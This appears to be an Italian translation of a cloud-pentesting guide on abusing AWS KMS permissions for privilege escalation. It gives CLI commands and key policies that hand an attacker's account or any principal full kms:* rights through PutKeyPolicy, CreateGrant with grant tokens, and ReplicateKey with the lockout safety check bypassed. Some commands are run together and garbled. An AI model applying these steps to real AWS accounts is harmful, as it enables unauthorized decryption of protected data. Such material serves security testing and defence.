Con questi permessi è possibile modificare i permessi di accesso alla chiave in modo che possa essere utilizzata da altri account o persino da chiunque:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
Consente a un principale di utilizzare una chiave KMS:
Nota che potrebbero essere necessari un paio di minuti affinché KMS consenta all'utente di utilizzare la chiave dopo che il grant è stato generato. Una volta trascorso tale tempo, il principal può utilizzare la chiave KMS senza dover specificare nulla.
Tuttavia, se è necessario utilizzare il grant immediatamente usa un grant token (controlla il seguente codice).
Per maggiori informazioni leggi questo.
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
Nota che è possibile elencare le concessioni delle chiavi con:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
Con questi permessi è possibile replicare una chiave KMS abilitata per più regioni in una regione diversa con una politica diversa.
Quindi, un attaccante potrebbe abusare di questo per ottenere privesc al suo accesso alla chiave e usarla
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
Questa autorizzazione consente di utilizzare una chiave per decrittare alcune informazioni.
Per maggiori informazioni, consulta: